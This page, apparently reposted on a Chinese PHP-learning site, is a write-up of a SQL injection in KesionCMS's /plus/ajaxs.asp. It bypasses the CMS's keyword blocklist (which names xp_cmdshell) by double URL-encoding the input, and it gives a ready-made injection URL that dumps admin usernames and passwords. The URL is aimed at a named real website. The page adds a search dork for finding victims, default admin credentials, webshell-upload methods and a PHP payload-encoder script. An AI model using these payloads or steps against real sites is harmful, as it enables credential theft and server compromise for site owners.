网站地图    收藏   

主页 > 后端 > 网站安全 >

Kesion “0day”分析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 影响版本:kesion v6.0-v7.0以及kesion v7.06 eshop版之所以打个引号,感觉这个不能算是0day,因为只是这个漏洞成因,其实都是同一个函数过滤不严造成的。而且,这个漏洞已经被披露。原漏洞...

影响版本:kesion v6.0-v7.0以及kesion v7.06 eshop版
 
 
 
之所以打个引号,感觉这个不能算是0day,因为只是这个漏洞成因,其实都是同一个函数过滤不严造成的。而且,这个漏洞已经被披露。原漏洞是/user/Reg/regajax.asp下的漏洞。这次出现漏洞的位置是/plus/ajaxs.asp文件,漏洞原理是一样的,都是s函数过滤混乱导致的!
 
看下文件代码:/plus/ajaxs.asp
 
Dim KS:Set KS=New PublicCls
 
Dim Action
 
Action=KS.S(“Action”)
 
Select Case Action
 
 Case ”Ctoe” CtoE
 
 Case ”GetTags” GetTags
 
 Case ”GetRelativeItem” GetRelativeItem
 
 Case ”Shop_GetCoupon” Shop_GetCoupon
 
 Case ”Shop_ValidateCoupon” Shop_ValidateCoupon
 
 Case ”Shop_BrandOption” Shop_BrandOption
 
 Case ”Shop_CheckProID” Shop_CheckProID
 
 Case ”GetClassOption” GetClassOption
 
 Case ”GetFieldOption” GetFieldOption
 
 Case ”SpecialSubList” SpecialSubList
 
 Case ”GetArea” GetArea
 
 Case ”GetFunc” GetFunc
 
 Case ”AddFriend” AddFriend
 
 Case ”MessageSave” MessageSave
 
 Case ”CheckMyFriend” CheckMyFriend
 
 Case ”SendMsg” SendMsg
 
 Case ”SearchUser” SearchUser
 
 Case ”CheckLogin” CheckLogin
 
 Case ”relativeDoc” relativeDoc
 
 Case ”getModelType” getModelType
 
 Case ”getDocImage” getDocImage
 
 Case ”checkDocFname” checkDocFname
 
 Case ”addCart” addShoppingCart
 
 Case ”GetPackagePro” GetPackagePro
 
 Case ”GetSupplyContact” GetSupplyContact
 
 Case ”HitsGuangGao” HitsGuangGao
 
 Case ”GetClubBoardOption” GetClubBoardOption
 
 Case ”getclubboard” GetClubboard
 
 Case ”getonlinelist” getonlinelist
 
End Select
 
…..snip…
 
‘相关信息
 
Sub GetRelativeItem() //漏洞函数开始
 
 Dim Key:Key=UnEscape(KS.S(“Key”))//漏洞位置,只调用ks.s函数,无其它过滤。
 
 Dim Rtitle:rtitle=lcase(KS.G(“rtitle”))
 
 Dim RKey:Rkey=lcase(KS.G(“Rkey”))
 
 Dim ChannelID:ChannelID=KS.ChkClng(KS.S(“Channelid”))
 
 Dim ID:ID=KS.ChkClng(KS.G(“ID”))
 
 Dim Param,RS,SQL,k,SqlStr
 
 If Key<>”" Then
 
   If (Rtitle=”true” Or RKey=”true”) Then
 
 If Rtitle=”true” Then
 
   param=Param & ”title like ’%”& key & ”%’”//类似搜索型注入漏洞。
 
 end if
 
 If Rkey=”true” Then
 
   If Param=”" Then
 
     Param=Param & ” keywords like ’%” & key & ”%’”
 
   Else
 
     Param=Param & ” or keywords like ’%” & key & ”%’”
 
   End If
 
 End If
 
 Else
 
    Param=Param & ” keywords like ’%” & key & ”%’”
 
 End If
 
End If
 
 
 
 
 
 If Param<>”" Then
 
   Param=” where InfoID<>” & id & ” and (“ & param & ”)”
 
 else
 
    Param=” where InfoID<>” & id
 
 end if
 
 
 
  If ChannelID<>0 Then Param=Param & ” and ChannelID=” & ChannelID
 
  Param=Param & ”and verific=1″
 
 
 
 SqlStr=”Select top 30 ChannelID,InfoID,Title From KS_ItemInfo ”& Param & ”order by id desc”//查询
 
 Set RS=Server.CreateObject(“ADODB.RECORDSET”)
 
 RS.Open SqlStr,conn,1,1
 
 If Not RS.Eof Then
 
  SQL=RS.GetRows(-1)
 
 End If
 
 RS.Close
 
 
 www.2cto.com

我们来看看Dim Key:Key=UnEscape(KS.S(“Key”))处的函数,调用自定义函数KS.S进行过滤,接着又调用UnEscape函数解码!
然后我们可以去看看函数原型,在/KS_Cls/kesion.commoncls.asp下
 
Function DelSql(Str)
 
Dim SplitSqlStr,SplitSqlArr,I
 
SplitSqlStr=”dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell”
 
SplitSqlArr = Split(SplitSqlStr,”|”)
 
For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr)
 
If Instr(LCase(Str),SplitSqlArr(I))>0 Then
 
Die ”<script>alert(‘系统警告!\n\n1、您提交的数据有恶意字符“& SplitSqlArr(I) &”;\n2、您的数据已经被记录;\n3、您的IP:“&GetIP&”;\n4、操作日期:“&Now&”;\n Powered By Kesion.Com!’);window.close();</script>”
 
End if
 
Next
 
DelSql = Str
 
    End Function
 
‘取得Request.Querystring 或Request.Form 的值
 
Public Function S(Str)
 
 S = DelSql(Replace(Replace(Request(Str), ”‘”, ”"), ”"”", ”")) //止处过滤,如果配合Unescape()函数,刚过滤并末生交,可以采用unicode编码方式,刚不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“‘”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。
 
 
 
要成功利用的方法,则要根据
 
Dim KS:Set KS=New PublicCls
 
Dim Action
 
Action=KS.S(“Action”)
 
Select Case Action
 
 Case ”Ctoe” CtoE
 
 Case ”GetTags” GetTags
 
 Case ”GetRelativeItem” GetRelativeItem
 
调用规则进行调用,当调用的action的值为GetRelativeItem时,即可调用GetRelativeItem函数。在这个函数里面,判断key的值是否为空,所以可以在key的后面接任何值,比如conqu3r。因此构造就很简单了,直接根据搜索型的方法注入就行了。
 
如下:将:%’) union select 1,2,username+’|'+ password from KS_Admin转换为如下的即可。
 
/plus/ajaxs.asp?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 
如果是MSSQL的版本,如果有相应权限,则可以通过备份直接拿shell.
 
此处漏洞可以利用CLng类型转换,报错查路径。
 
方法:
 
/plus/ajaxs.asp?action=GetRelativeItem&key=%25
 
 
 
google关键字:intext:Powered By KesionCMS
 
 
 
默认后台:/admin/login.asp  默认认证码:8888
 
 
 
后台拿webshell的方法:
 
1、通过执行Sql语句,Access导出一句话木马;
 
2、通过插入数据库,备份出一句话。
 
 
 
实例:http://www.allvison.com//plus/ajaxs.asp?action=GetRelativeItem&key=conqu3r%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500
 
附转换代码:
 
[code]
 
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
================================================================================
kesioncms 命令行转换程序
                                   ------by conqu3r
================================================================================
');
 
 
 
if ($argc<2) {
print_r('
================================================================================
Usage: php '.$argv[0].' "sql code";
 
 
 
Example:
php '.$argv[0].' "\'%) union select...";
================================================================================
');
die;
}
$str=$argv[1];
for ($i=0; $i<=strlen($str); $i++){
        $temp .= "%25".base_convert(ord($str[$i]),10,16);
}
echo $temp."0";
?>

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论